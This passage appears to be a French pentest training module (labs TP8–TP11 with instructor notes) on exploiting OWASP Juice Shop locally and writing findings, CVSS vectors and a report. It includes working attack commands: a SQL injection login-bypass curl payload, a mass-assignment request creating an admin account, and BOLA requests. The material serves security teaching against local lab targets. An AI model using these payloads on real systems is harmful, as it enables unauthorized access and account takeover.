Intention — exploiter deux failles serveur sur Juice Shop (IDOR, XXE), prouver la SSRF là où on possède le code, puis fermer réellement VULN-04 et VULN-08 avec vérification par rejeu. C'est le seul TP où Elie corrige du code en M5, et la boucle exploit → preuve → correction → re-preuve est le geste central.
Ce qui coince
- Jeton Juice Shop sans
Bearerou expiré : cascade de 401 prise pour « pas d'IDOR ». Reprendre un jeton frais. - XXE dont la fuite est indirecte selon la version : ne pas exiger un
/etc/passwdparfait à l'écran ; consigner le comportement obtenu suffit. - Éditer app.py sans relancer le process en arrière-plan : la « correction ne marche pas » alors que c'est l'ancien code qui tourne.
pkill -fpuis relance. - Liste noire plutôt que blanche pour la SSRF : contournable (encodages, redirections, DNS). La réflexion 2 est là pour ça ; exiger la liste blanche.
- Écrire « corrigé » sans rejouer la charge. Le critère du finding est la re-preuve.
Questions à anticiper
- « Le jeton en dur, c'est propre ? » — non, c'est un raccourci de maquette qui tient lieu de session ; le principe (vérifier l'appartenance côté serveur) est le vrai point. Le lui faire dire.
- « Pourquoi ne pas corriger l'XXE de Juice Shop ? » — code non possédé ; remédiation conceptuelle. Cohérent avec les deux cibles.
Ce qu'il faut exiger — pour VULN-08 et VULN-04 : la charge qui passe AVANT, la même refusée APRÈS (400 ; et 403/200/403), sur deux branches fix/vuln-08-ssrf et fix/vuln-04-idor commitées. Le critère « il a compris » : qu'il formule la remédiation IDOR sans citer de langage (vérifier l'appartenance côté serveur).
TP 8 — Six findings rédigés au gabarit
Jour 2 · Exploiter le Top 10, prouver, corriger · 1 h 15
Transformer une journée d'exploits en findings professionnels : F-01 à F-06, chacun avec vecteur CVSS, preuve rejouable et remédiation vérifiable.
Le référentiel fixe un gabarit unique pour tout finding. Reproduisez-le à l'identique pour chacun — c'est ce qui rend le rapport homogène et exploitable par un tiers. Le vecteur CVSS complet est obligatoire, pas seulement le score.
- Ouvrez
rapports/pentest-juice-shop.mdet remplissez la partie 4 (findings détaillés). Six blocs, un par exploit de la journée : F-01 injection, F-02 contournement d'authentification / jeton bavard, F-03 absence de limitation, F-04 IDOR/BOLA, F-05 SSRF, F-06 XXE. Regroupez ou séparez selon les remédiations, pas selon votre humeur. - Voici le gabarit exact — celui du référentiel, avec l'exemple F-01 rempli. Copiez la structure pour chacun de vos findings.
### F-01 — Injection SQL sur le formulaire d'authentification - Severite : Critical — CVSS 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) - Composant : POST /rest/user/login, parametre email - References : CWE-89, OWASP A03:2021 — Injection Description La requete d'authentification est construite par concatenation ; une entree contenant une apostrophe et un commentaire modifie la structure de la requete. Impact Contournement de l'authentification (connexion en admin sans mot de passe), acces au schema et lecture de donnees via sqlmap. Preuve (rejouable) $ curl -s -X POST http://localhost:3000/rest/user/login \ -H 'Content-Type: application/json' \ --data '{"email":"'"'"' OR 1=1--","password":"x"}' -> objet authentication avec un token pour admin@juice-sh.op Remediation Requete parametree (valeurs liees, jamais concatenees). Verifier par rejeu que la charge d'injection renvoie desormais 401. - Pour le vecteur CVSS, ne devinez pas le score : construisez le vecteur métrique par métrique, puis lisez le score qui en découle. Un calculateur CVSS v3.1 hors ligne (ou la grille du référentiel) suffit. Ce qui compte pour le lecteur, c'est le vecteur — il montre comment vous avez coté, et il se discute.
- Rappel des bandes du référentiel, pour situer chaque finding :
Bande Score CVSS v3.1 Délai de correction attendu Critical 9.0 – 10.0 immédiat High 7.0 – 8.9 ≤ 7 jours Medium 4.0 – 6.9 ≤ 30 jours Low 0.1 – 3.9 planifié Info 0.0 à discrétion - Pour chaque finding, la preuve doit être la commande exacte que vous avez collée dans
artefacts/aujourd'hui — pas une reformulation. Si vous ne retrouvez pas la commande d'un exploit, c'est que la note du matin était incomplète : rejouez-le proprement plutôt que d'écrire de mémoire. - Distinguez clairement le statut de chaque finding : pour VULN-04 et VULN-08 (sur devsecops-lab), vous pouvez écrire « corrigé et vérifié par rejeu » avec la preuve de fermeture. Pour tout ce qui concerne Juice Shop, le statut est « ouvert — remédiation recommandée », jamais « corrigé » : vous n'en possédez pas le code.
- Remplissez enfin la partie 3 (synthèse) : un tableau F-NN / titre / sévérité / CVSS / statut. C'est la page que le client lit en premier ; elle doit se suffire à elle-même. Committez : « pentest juice-shop : findings F-01 a F-06 ».
- Le gabarit impose le vecteur CVSS complet, pas seulement le score. Qu'est-ce que le vecteur permet à un lecteur que le score seul lui refuse ?
- Vous notez « corrigé » pour VULN-08 mais « ouvert » pour l'IDOR de Juice Shop. Pourquoi cette asymétrie est-elle une exigence d'honnêteté et pas une paresse ?
La faute qui décrédibilise un rapport : recopier une preuve « de mémoire » légèrement fausse, que le client rejoue et qui échoue. Votre preuve est la ligne exacte de artefacts/, copiée-collée, pas reconstruite. Si vous ne la retrouvez pas, l'exploit se rejoue en deux minutes — c'est toujours plus rapide que de défendre un finding non reproductible en soutenance. Test : prenez un finding au hasard et rejouez sa preuve telle qu'écrite ; si elle ne produit pas l'effet annoncé, elle n'est pas prête.
Intention — convertir les exploits du jour en findings au gabarit du référentiel, avec vecteur CVSS, preuve rejouable et statut honnête. C'est le TP de rédaction imposé par le § 12 ; ses steps sont les critères du PC du soir.
Ce qui coince
- Le score CVSS deviné au lieu d'être construit par le vecteur. Exiger le vecteur complet ; le score en découle.
- Preuve reformulée de mémoire, non rejouable. Exiger la ligne exacte d'artefacts.
- Statut « corrigé » sur du Juice Shop : faute d'honnêteté. Seuls VULN-04/08 (son code) sont « corrigé et vérifié ».
- Findings fusionnés à tort (les trois faiblesses d'auth) ou séparés à tort : le critère est la remédiation distincte.
Questions à anticiper
- « Je mets quel score ? » — renvoyer au vecteur et à la grille ; ne pas donner un chiffre. Le vecteur est ce qui se défend.
- « Combien de findings ? » — six au minimum aujourd'hui (les cinq classes + le jeton bavard) ; quatre autres viendront de l'API et de la recon (jusqu'à F-10).
Ce qu'il faut exiger — six findings au gabarit, vecteurs CVSS présents, preuves copiées d'artefacts, statuts honnêtes, et la synthèse de la partie 3 remplie. Le critère décisif : rejouer une preuve au hasard et constater qu'elle produit l'effet annoncé.
M5 · J2 — Cinq classes exploitées avec preuve ; VULN-04 et VULN-08 fermées
Jour 2 · Exploiter le Top 10, prouver, corriger · 30 min
30 minutes à distance. Samer choisira un de vos six findings et vous demandera de rejouer sa preuve en direct, puis de justifier son vecteur CVSS métrique par métrique. Un finding qui ne se rejoue pas, ou dont le vecteur ne se défend pas, sera à reprendre.
Préparez surtout la démonstration des deux corrections : la même charge qui passait ce matin et qui est refusée ce soir. C'est la preuve qu'une remédiation se vérifie, elle ne s'annonce pas.
Intention — vérifier que chaque classe exploitée a une preuve rejouable et que les deux corrections sont vérifiées, pas annoncées. Le point de 16 h 30 se tient sur une démonstration en direct, pas sur une relecture exhaustive.
Déroulé proposé (30 min)
- 10 min : choisir un finding et lui faire rejouer sa preuve devant vous.
- 10 min : lui faire défendre le vecteur CVSS de ce finding, métrique par métrique.
- 10 min : les deux corrections — même charge avant/après pour VULN-08 et VULN-04.
Ce qui coince
- Une preuve non rejouable (reformulée de mémoire). C'est le défaut à traquer : le critère 8 l'exige copiée d'artefacts.
- « Corrigé » écrit sur du Juice Shop. Faire recorriger le statut : seuls VULN-04/08 sont fermés.
- Un vecteur CVSS deviné : s'il ne sait pas dire pourquoi
AV:NouPR:N, la cotation est décorative. - Correction « faite » mais l'ancien process Flask tourne encore : lui faire relancer et rejouer.
Questions à anticiper
- « Faut-il dix findings dès ce soir ? » — non, six suffisent aujourd'hui ; l'API de demain en apporte d'autres jusqu'à F-10.
- « Mon jeton en dur pour l'IDOR est-il acceptable ? » — comme raccourci de maquette oui, à condition qu'il énonce le vrai principe (autorisation côté serveur).
Ce qu'il faut exiger — une preuve rejouée en direct, un vecteur CVSS défendu, et les deux corrections démontrées avant/après. Et le dernier critère, non négociable : rien hors des deux cibles locales.
La sécurité des API : là où le Top 10 se déplace
Jour 3 · Les API, puis le rapport qui fait foi · 25 min
Vous l'avez constaté dès la reconnaissance : Juice Shop est d'abord une API
(/rest, /api) qu'un client web consomme. C'est le cas de la plupart des
applications modernes, et cela déplace la surface d'attaque. L'OWASP maintient un
API Security Top 10 distinct (édition 2023), parce que les API introduisent des
faiblesses que le Top 10 web ne capturait pas bien.
Ce que les API changent
- Chaque objet a son endpoint.
/api/Users/42,/rest/basket/7: l'identifiant est dans l'URL, exposé, incrémentable. C'est le terrain rêvé du contrôle d'accès défaillant. - Le serveur fait confiance au JSON reçu. Si l'API lie automatiquement les
champs du corps à son modèle, un champ en trop (
role,isAdmin) peut s'écrire là où il ne devrait pas. - Les réponses en disent trop. Une API renvoie souvent l'objet entier et laisse au client le soin de n'afficher que l'utile — donc elle expose le reste à qui lit la réponse brute.
| API Top 10 (2023) | En clair | Ce que vous testez sur Juice Shop |
|---|---|---|
| API1 — BOLA | Accès à l'objet d'un autre (l'IDOR, à l'échelle de l'API) | Lire /api/Users/<id> ou un panier qui n'est pas le vôtre |
| API2 — Authentification défaillante | Jetons faibles, pas de limitation | Déjà vu hier — jeton lisible, force brute possible |
| API3 — BOPLA / mass assignment | Le serveur écrit un champ que le client n'aurait pas dû fournir | S'enregistrer avec role:admin dans le JSON |
| API6 — Exposition excessive de données | La réponse contient plus que nécessaire | Lire la réponse brute d'un endpoint utilisateur |
Le contrôle d'accès au niveau de l'objet (BOLA) est en tête du classement API depuis des années, parce qu'il dépend du sens de vos données — à qui appartient quoi. nuclei ne peut pas le savoir ; seul un humain qui comprend le métier le peut. C'est exactement la limite des signatures vue mardi, et la raison d'être de votre travail manuel.
Le client web fait tout le travail d'authentification et d'appel ; il vous suffit d'observer ses requêtes dans le proxy, puis de les rejouer modifiées — un identifiant changé, un champ ajouté. C'est là que Repeater (Burp Community) ou le rejeu mitmproxy montrent toute leur valeur.
Intention — montrer que l'API déplace la surface (identifiant et modèle exposés par requête) et que BOLA/mass assignment échappent aux scanners. C'est le prolongement direct de l'IDOR d'hier, monté d'un cran.
Ce qui coince
- Prendre l'API Top 10 pour une liste indépendante à réapprendre. C'est le même Top 10 relu ; le rattacher à l'existant.
- Croire qu'un DAST couvre les API. Il couvre l'injection, l'XSS reflété, la config — pas la logique d'autorisation par objet.
Questions à anticiper
- « ZAP a un scan d'API, ça ne suffit pas ? » — il aide (import d'OpenAPI, fuzzing), mais BOLA reste manuel : le scanner ne connaît pas la propriété des objets.
- « Mass assignment, c'est fréquent ? » — très, dès qu'un framework lie le corps au modèle sans liste d'autorisation de champs. D'où le test
role:admin.
Ce qu'il faut exiger — qu'il explique pourquoi un scanner ne trouve pas un BOLA. Sans cela, le TP API sera passif et il attendra que l'outil « trouve » ce qui ne se trouve qu'à la main.
TP 9 — Attaquer l'API REST de Juice Shop
Jour 3 · Les API, puis le rapport qui fait foi · 1 h 30
Exploiter les faiblesses propres aux API : accès aux objets d'autrui (BOLA), écriture d'un champ interdit (mass assignment), exposition excessive de données.
Reprenez votre carte d'endpoints et votre jeton. L'essentiel du TP consiste à rejouer, modifiées, des requêtes que le client web émet normalement. Gardez le proxy ouvert pour capturer les requêtes réelles avant de les altérer.
- Mass assignment (API3). L'inscription attend quelques champs ; ajoutez-en un que le formulaire ne propose pas —
role— et voyez si le serveur l'écrit.cat > artefacts/reg-admin.json <<'JSON' {"email":"pirate@evil.test","password":"Passw0rd!","passwordRepeat":"Passw0rd!", "securityQuestion":{"id":1},"securityAnswer":"x","role":"admin"} JSON curl -s -X POST http://localhost:3000/api/Users \ -H 'Content-Type: application/json' \ --data @artefacts/reg-admin.json | head -c 500; echo - Si la réponse renvoie le compte créé avec
"role":"admin", le serveur a lié aveuglément le champ que vous avez injecté : mass assignment (BOPLA). Vous venez de créer un administrateur depuis un formulaire d'inscription ordinaire. Preuve : la réponse JSON. Remédiation (conceptuelle) : liste blanche des champs acceptés côté serveur, le rôle n'étant jamais fixé par le client. - BOLA (API1). Connectez-vous avec un compte ordinaire, récupérez son jeton, puis demandez la ressource d'un autre identifiant. Commencez par voir ce que l'API renvoie sur votre propre utilisateur.
TOKEN="COLLEZ_UN_JETON_ORDINAIRE" curl -s -H "Authorization: Bearer $TOKEN" http://localhost:3000/rest/user/whoami; echo # puis tentez un objet qui n'est pas le votre curl -s -H "Authorization: Bearer $TOKEN" http://localhost:3000/api/Users/1 | head -c 400; echo - Notez précisément qui devrait avoir accès à
/api/Users/1et ce que votre jeton ordinaire obtient réellement. Si vous lisez les données d'un utilisateur qui n'est pas vous, c'est un BOLA. Si l'API refuse (403), notez-le aussi : un contrôle d'accès qui tient est un résultat d'audit, exactement comme sa défaillance. - Exposition excessive (API6). Regardez la réponse brute d'un endpoint que le client web « nettoie » avant affichage. Ce que l'API renvoie, l'attaquant le lit entièrement.
curl -s http://localhost:3000/api/Products/1 | python3 -m json.tool | head -40 - Repérez les champs renvoyés qui ne servent à rien à l'affichage (identifiants internes, champs techniques, dates de suppression logique…). Chacun est une information offerte. Sur un endpoint utilisateur, cela peut aller jusqu'au hash de mot de passe ou à un jeton. Constat : la réponse en dit plus que l'écran.
- Systématisez avec le proxy. Faites naviguer le client web (ajout au panier, consultation de commande) pendant que mitmproxy enregistre, puis relisez les appels d'API : c'est la vraie liste des objets adressables, avec leurs identifiants.
mitmdump -nr artefacts/juice-trafic.flows --set flow_detail=1 2>/dev/null \ | grep -oE '(GET|POST|PUT|DELETE) https?://[^ ]+/(api|rest)/[^ ]+' - Pour chaque objet adressable que vous trouvez (
/rest/basket/<id>,/api/Feedbacks/<id>,/api/Users/<id>…), posez toujours la même question : mon jeton m'autorise-t-il, ou l'API me laisse-t-elle faire ? C'est le réflexe BOLA, et c'est ce qu'aucun outil ne fera à votre place. - Vous tenez trois à quatre findings d'API. Ils deviendront F-07 à F-10 dans le rapport. Consignez chacun dans
artefacts/avec sa requête exacte avant de passer à la rédaction — c'est encore la même discipline : la note d'abord.
- Le mass assignment vous a fait créer un admin depuis une inscription. En quoi est-ce une faute de conception côté serveur, et pas une astuce de votre part ?
- Vous avez posé, pour chaque objet, la question « mon jeton m'autorise-t-il ? ». Pourquoi cette question ne peut-elle jamais être déléguée à un scanner ?
- Une API qui renvoie l'objet entier « pour simplifier le client » expose plus que l'écran. Où placer la responsabilité de ne renvoyer que l'utile, et pourquoi pas côté client ?
Le mass assignment échoue silencieusement si un champ obligatoire manque : Juice Shop renvoie alors une erreur de validation, pas votre admin. Reprenez la liste des champs attendus (email, password, passwordRepeat, securityQuestion, securityAnswer) et n'ajoutez role qu'en plus. Pour BOLA, le piège est de conclure trop vite : un 403 n'est pas un échec de votre test, c'est un contrôle qui tient — notez-le comme tel. Test de sortie : pour trois objets adressables, vous devez pouvoir dire si l'accès est correctement cloisonné ou non, preuve à l'appui.
Intention — faire exploiter les failles propres aux API (BOLA, mass assignment, exposition excessive) à la main, et ancrer le réflexe « à qui appartient cet objet ? » qu'aucun scanner ne remplace. Produit F-07 à F-10.
Ce qui coince
- Mass assignment en échec parce qu'un champ obligatoire manque : erreur de validation prise pour « pas de faille ». Reprendre la liste des champs.
- BOLA conclu trop vite : un 403 est un contrôle qui tient, à consigner, pas un raté.
- Attendre que l'outil « trouve » le BOLA. Il ne le fera pas ; c'est manuel par nature.
- Ne pas noter avant de rédiger : la requête exacte manquera au TP suivant.
Questions à anticiper
- « /api/Users/1 me renvoie 403, donc rien à signaler ? » — au contraire, c'est un bon résultat d'audit ; le tester ailleurs (Feedbacks, basket) où le cloisonnement cède.
- « Comment prouver l'exposition excessive ? » — la réponse brute vs ce que l'écran montre ; pointer les champs superflus.
Ce qu'il faut exiger — le mass assignment prouvé (compte admin créé), au moins un test BOLA avec verdict argumenté (faille ou contrôle qui tient), et trois à quatre findings d'API notés avec leur requête. Le critère « il a compris » : qu'il pose spontanément la question de propriété de l'objet sur chaque endpoint.
Quiz — Sécurité des API
Jour 3 · Les API, puis le rapport qui fait foi · 10 min
1. Pourquoi le BOLA (accès à l'objet d'un autre) est-il en tête du Top 10 des API et invisible pour un scanner automatique ?
2. Vous vous inscrivez en ajoutant "role":"admin" au JSON et obtenez un compte administrateur. Comment nomme-t-on cette faiblesse ?
3. Une API renvoie l'objet utilisateur complet, dont un hash de mot de passe, mais le client web ne l'affiche pas. Est-ce un problème ?
4. Pour explorer une API efficacement en boîte noire, quel est le geste le plus productif ?
Intention — vérifier que les quatre notions d'API sont nommées et distinguées : BOLA (q1), mass assignment (q2), exposition excessive (q3), méthode par proxy (q4). L'enjeu est la taxonomie, qui commande la remédiation dans le rapport.
Ce qui coince
- q2 : mass assignment confondu avec injection. Signe qu'il classe par « j'ai ajouté quelque chose » et non par mécanisme.
- q3 : « pas affiché donc pas exposé ». Le contrôle côté client refait surface ; à corriger, c'est un contresens récurrent.
- q1 : attribuer le BOLA au chiffrement ou à GraphQL. Le cœur est la propriété des objets, indépendante de la techno.
Questions à anticiper
- « ZAP ne fait pas tout ça ? » — il aide à cartographier, pas à juger l'autorisation par objet. Redire la limite des scanners.
- « Le hash est haché, donc c'est bon ? » — l'exposer facilite le cassage hors ligne ; un secret exposé reste un secret exposé.
Ce qu'il faut exiger — 3/4, q1 et q3 justes de préférence (le cœur des API). Une erreur sur q2 se rattrape vite ; une erreur sur q3 signale un modèle mental « client = sécurité » à corriger avant le rapport.
Le rapport de pentest : ce qui reste quand l'attaque est finie
Jour 3 · Les API, puis le rapport qui fait foi · 25 min
Tout ce que vous avez fait depuis mardi ne vaut que par ce qui va s'écrire aujourd'hui. Le client n'a pas vu vos exploits ; il lira votre rapport. Un test brillant mal rapporté est un test perdu ; un test modeste bien rapporté est utilisable. Le rapport est le livrable.
Le plan type, imposé par le référentiel
Six parties, dans cet ordre, parce que chaque lecteur n'ouvre pas la même :
| Partie | Pour qui | Ce qu'elle contient |
|---|---|---|
| 1 · Résumé exécutif | Un décideur non technique | Une page, sans jargon : le risque global, les points saillants, la recommandation |
| 2 · Périmètre et méthodologie | Le responsable technique et le juriste | Cible, versions, dates, ce qui était autorisé et hors-scope, la méthode |
| 3 · Synthèse des findings | Quelqu'un qui veut l'état en un coup d'œil | Tableau F-NN / titre / sévérité / CVSS / statut |
| 4 · Findings détaillés | L'équipe qui corrige | Un bloc par vulnérabilité, au gabarit : le cœur du rapport |
| 5 · Feuille de route | Le chef de projet | Les findings ordonnés par sévérité puis effort, avec des délais |
| 6 · Annexes | Celui qui veut rejouer | Commandes exactes, sorties d'outils, références CWE / OWASP |
Les cinq obligations d'un finding
Un bloc de la partie 4 n'est complet que s'il porte les cinq : sévérité + vecteur CVSS v3.1 complet, composant précis, références CWE/OWASP, preuve rejouable, remédiation vérifiable. Il en manque une, ce n'est plus un finding, c'est une opinion.
Écrire « Critique 9.8 » ne se discute pas ; écrire CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H se vérifie. Le vecteur montre comment vous avez coté — vecteur d'attaque réseau, sans privilège, sans interaction — et permet au client de recalculer s'il conteste. Le référentiel exige le vecteur complet sur chaque finding.
C'est la partie la plus lue et la plus difficile. Elle ne dit pas « SQLi sur /rest/user/login » mais « un visiteur non authentifié peut se connecter en administrateur et lire la base clients ». Un dirigeant doit comprendre le risque et la recommandation en une page, sans ouvrir la partie 4. Écrivez-la quand tout le reste est posé.
Chaque finding porte un statut. « Ouvert », « corrigé et vérifié », « accepté avec justification » : ce sont des états différents. N'écrivez « corrigé » que là où vous avez rejoué la fermeture — sur ce parcours, uniquement VULN-04 et VULN-08 de votre appli. Tout Juice Shop reste « ouvert, remédiation recommandée » : vous n'en possédez pas le code.
Intention — poser le plan type et les cinq obligations d'un finding avant la rédaction, et faire admettre que la valeur est dans les parties que le client lit (1, 3, 5), pas seulement dans la 4. Le vecteur CVSS complet et l'honnêteté du statut sont les deux exigences dures.
Ce qui coince
- Tout miser sur la partie 4 et bâcler résumé et feuille de route. C'est l'inverse de ce qu'un client valorise.
- Le score CVSS sans vecteur : non vérifiable, non discutable. Exiger le vecteur.
- « Corrigé » écrit partout : seuls VULN-04/08 sont fermés et vérifiés.
- Résumé exécutif truffé de jargon : illisible pour sa cible.
Questions à anticiper
- « Le résumé exécutif d'abord ou en dernier ? » — en dernier, quand les findings sont cotés ; on ne résume bien que ce qui est posé.
- « DREAD plutôt que CVSS ? » — CVSS pour la sévérité technique (obligatoire) ; DREAD, vu en M4, sert la priorisation métier, jamais en remplacement.
Ce qu'il faut exiger — qu'il énumère les cinq obligations d'un finding et sache à qui s'adresse chaque partie. Le test décisif : qu'il reformule un finding technique en une phrase de résumé exécutif sans jargon.
TP 10 — Findings F-07 à F-10, et la cohérence des dix
Jour 3 · Les API, puis le rapport qui fait foi · 1 h 15
Compléter la partie 4 avec les findings d'API et de reconnaissance, puis vérifier que les dix blocs tiennent chacun leurs cinq obligations.
Vous avez F-01 à F-06 depuis hier et quatre pistes d'API notées ce matin. Ce TP consolide : chaque finding doit porter ses cinq obligations, et le rapport doit compter dix blocs cohérents. Si une preuve manque, on la rejoue — on n'invente jamais.
- Rédigez F-07 à F-10 dans la partie 4, à partir de vos notes du matin et de la reconnaissance de mardi. Une répartition qui couvre bien la surface : F-07 mass assignment (création d'admin), F-08 BOLA ou exposition excessive de données d'API, F-09 serveur de fichiers exposé (
/ftp), F-10 en-têtes de sécurité manquants (ou endpoint/metricsexposé). Adaptez selon ce que vous avez réellement prouvé. - Pour chaque nouveau finding, remplissez les références CWE / OWASP — c'est ce qui ancre votre constat dans un référentiel partagé. Voici les correspondances utiles ; ne les recopiez pas à l'aveugle, vérifiez qu'elles collent à votre preuve.
F-07 mass assignment ...... CWE-915 · API3:2023 (BOPLA) F-08 BOLA / exces de donnees CWE-639 / CWE-213 · API1 / API6:2023 F-09 serveur de fichiers ... CWE-548 (listing) · A05:2021 (mauvaise config) F-10 en-tetes manquants .... CWE-693 · A05:2021 (mauvaise config) - Passez chaque finding au crible des cinq obligations : sévérité + vecteur CVSS complet, composant précis, références CWE/OWASP, preuve rejouable, remédiation vérifiable. Ouvrez chaque bloc et cochez les cinq. Un bloc à quatre sur cinq n'est pas « presque bon » — il est incomplet, et le lecteur le verra.
- Vérifiez la cohérence d'ensemble d'un coup d'œil : dix blocs, dix vecteurs CVSS, dix statuts. Cette commande liste vos titres de findings et vous permet de repérer un manque.
grep -nE '^### F-[0-9]{2}' rapports/pentest-juice-shop.md grep -c 'CVSS:3.1/' rapports/pentest-juice-shop.md # doit renvoyer 10 - Contrôlez les statuts une dernière fois. Recherchez le mot « corrigé » dans votre rapport : il ne doit apparaître que pour
VULN-04etVULN-08, vos deux corrections vérifiées sur devsecops-lab. Partout ailleurs (Juice Shop), le statut est « ouvert — remédiation recommandée ». - Mettez à jour la synthèse (partie 3) pour qu'elle reflète les dix findings. Le tableau doit se lire seul, sans ouvrir la partie 4.
## 3. Synthese des findings | ID | Titre | Severite | CVSS | Statut | |------|-----------------------------------------|----------|------|---------| | F-01 | Injection SQL (auth + recherche) | Critical | 9.8 | Ouvert | | F-02 | Contournement d'auth / jeton bavard | High | ... | Ouvert | | F-03 | Absence de limitation des tentatives | Medium | ... | Ouvert | | F-04 | IDOR / BOLA sur le panier | ... | ... | Ouvert | | F-05 | SSRF (prouve sur devsecops-lab) | High | ... | Corrige | | F-06 | XXE (upload XML) | ... | ... | Ouvert | | F-07 | Mass assignment (creation d'admin) | High | ... | Ouvert | | F-08 | BOLA / exces de donnees d'API | ... | ... | Ouvert | | F-09 | Serveur de fichiers expose (/ftp) | Medium | ... | Ouvert | | F-10 | En-tetes de securite manquants | Low | ... | Ouvert | - Committez : « pentest juice-shop : findings F-07 a F-10 et synthese ». Votre partie 4 est close, la partie 3 est à jour. Il ne reste que ce qui parle au décideur — résumé exécutif et feuille de route — c'est le dernier TP.
- Vous avez dix findings pour une seule application. Est-ce un signe que Juice Shop est exceptionnellement mauvaise, ou que toute application non testée en cache autant ?
- Un de vos findings est coté Low (en-têtes manquants). Pourquoi le garder dans le rapport plutôt que de ne lister que le grave, et qu'apporte-t-il au lecteur ?
Le contrôle grep -c 'CVSS:3.1/' qui ne renvoie pas 10 est votre meilleur détecteur d'oubli : un finding sans vecteur est un finding incomplet, et c'est le défaut que l'encadrant repérera en premier. Ne « complétez » pas un vecteur au jugé pour faire le compte — construisez-le sur la preuve, ou baissez la sévérité si la preuve ne soutient pas mieux. Test : chaque bloc doit répondre oui aux cinq obligations, sans exception « parce que c'est un petit finding ».
Intention — clore la partie 4 avec dix findings complets et cohérents, chacun tenant ses cinq obligations, statuts honnêtes. C'est le TP de rédaction du § 12 ; ses steps sont des critères du PC final.
Ce qui coince
- Vecteur CVSS « complété au jugé » pour atteindre dix : exiger qu'il repose sur la preuve, sinon baisser la sévérité.
- « Corrigé » qui déborde sur Juice Shop. Le
grep 'corrigé'est le garde-fou ; seuls VULN-04/08. - Findings gonflés artificiellement (dédoubler pour faire nombre) ou au contraire fusionnés à tort : le critère reste la remédiation distincte.
- Références CWE recopiées sans lien avec la preuve : vérifier une ou deux correspondances.
Questions à anticiper
- « Faut-il vraiment dix ? » — dix est la cible du référentiel et du PC ; la surface de Juice Shop les fournit largement. Mieux vaut dix solides que douze bancals.
- « Le Low en vaut la peine ? » — oui : un rapport complet liste aussi le mineur, avec un délai « planifié ». C'est la réflexion 2.
Ce qu'il faut exiger — dix blocs, dix vecteurs CVSS (le grep -c le prouve), statuts honnêtes, synthèse à jour. Le critère décisif : ouvrir un bloc au hasard et vérifier qu'il tient ses cinq obligations.
TP 11 — Résumé exécutif et feuille de route
Jour 3 · Les API, puis le rapport qui fait foi · 1 h
Écrire les deux parties que le client lit vraiment — le résumé sans jargon et la feuille de route priorisée — puis clore le rapport.
Les parties 1 et 5 sont courtes mais décisives : ce sont elles qu'un décideur et un chef de projet ouvriront. Elles s'écrivent maintenant que tout le reste est posé et coté. Prenez le temps qu'elles méritent — un rapport se juge souvent sur sa première page.
- Rédigez la partie 1, le résumé exécutif : une page, aucun jargon. Trois paragraphes suffisent — le risque global, les deux ou trois points saillants traduits en conséquences métier, la recommandation. Voici un gabarit à adapter, pas à recopier tel quel.
## 1. Resume executif Le test d'intrusion de l'application, mene en boite noire du 18 au 20 aout 2026, a identifie dix vulnerabilites, dont une critique. La plus grave permet a un visiteur non authentifie de se connecter en tant qu'administrateur et de lire la base des clients : elle doit etre corrigee sans delai. Au-dela de ce point, plusieurs faiblesses permettent d'acceder aux donnees d'autres utilisateurs, de creer un compte administrateur depuis le formulaire public, et de recuperer des fichiers internes. Prises ensemble, elles exposent les donnees personnelles des clients et la maitrise de l'application. Nous recommandons de traiter en priorite l'injection et les defauts de controle d'acces, puis de reprendre la configuration (en-tetes, fichiers exposes). Le detail technique et les preuves figurent en parties 4 et 6. - Relisez ce résumé du point de vue d'un dirigeant : chaque phrase doit se comprendre sans connaître le vocabulaire technique. « Injection SQL » devient « un visiteur peut se connecter sans mot de passe » ; « BOLA » devient « accéder aux données d'un autre client ». Si un terme technique subsiste, traduisez-le.
- Rédigez la partie 5, la feuille de route : les findings ordonnés par sévérité puis par effort, avec le délai attendu de chaque bande. C'est ce que le chef de projet transformera en tickets.
## 5. Feuille de route de remediation | Priorite | Finding(s) | Action | Delai | |----------|---------------------|-----------------------------------------|------------| | 1 | F-01 | Requetes parametrees partout | Immediat | | 2 | F-04, F-07, F-08 | Controle d'acces par objet ; liste | <= 7 jours | | | | blanche de champs cote serveur | | | 3 | F-02, F-05, F-06 | Reduire le contenu des jetons ; couper | <= 30 j | | | | les entites XML ; liste blanche SSRF | | | 4 | F-03, F-09, F-10 | Limitation des tentatives ; retirer le | Planifie | | | | serveur de fichiers ; en-tetes | | - Complétez la partie 6, les annexes : la liste des commandes rejouables (renvoyez à
artefacts/), les versions d'outils, et les références. C'est ce qui rend votre travail reproductible par un tiers.## 6. Annexes - Outils : mitmproxy, ffuf 2.1.0, nuclei 3.3.0, sqlmap 1.8.7, OWASP ZAP 2.15.0 - Artefacts bruts : artefacts/ (recon, ffuf-dirs.json, nuclei.jsonl, sqlmap/) - Chaque finding en partie 4 porte sa commande de preuve, rejouable telle quelle - References : OWASP Top 10 2021, OWASP API Security Top 10 2023, CWE, CVSS v3.1 - Faites une relecture de bout en bout. Trois contrôles : le résumé tient-il sur une page sans jargon ? La feuille de route couvre-t-elle les dix findings ? Le mot « corrigé » n'apparaît-il que pour VULN-04 et VULN-08 ? Corrigez ce qui accroche.
- Commit final du livrable. Le rapport est versionné ; vérifiez qu'aucune clé ni aucun secret ne part avec lui.
git add rapports/pentest-juice-shop.md git commit -m "pentest juice-shop : rapport complet (resume, findings, feuille de route)" git ls-files | grep -E '\.key$|\.env$|token' || echo 'aucun secret versionne' - Votre rapport est complet : six parties, dix findings, chacun prouvé et coté, un résumé lisible par un décideur et une feuille de route actionnable. C'est le livrable du module — et la pièce que vous présenterez à la revue de cet après-midi.
- Vous avez traduit chaque terme technique du résumé en conséquence métier. Pourquoi cette traduction est-elle un travail de pentester, et pas la responsabilité du lecteur ?
- La feuille de route ordonne par sévérité puis par effort. Dans quel cas remonteriez-vous un finding de sévérité moindre mais d'effort quasi nul avant un plus grave et coûteux ?
Le piège du résumé exécutif : y glisser du vocabulaire technique « parce que c'est plus précis ». Ce n'est pas sa fonction — sa fonction est qu'un dirigeant décide. Gardez le jargon pour la partie 4. Pour la feuille de route, résistez à l'ordre « par numéro de finding » : elle s'ordonne par ce qu'il faut faire d'abord, sévérité puis effort. Test final : donnez la première page à quelqu'un qui n'a pas suivi le test ; s'il sait dire le risque principal et la première action, le rapport est prêt pour la revue.
Intention — produire les deux parties que le client valorise le plus (résumé sans jargon, feuille de route priorisée) et clore le livrable. C'est le dernier TP de rédaction avant la revue de fin de module.
Ce qui coince
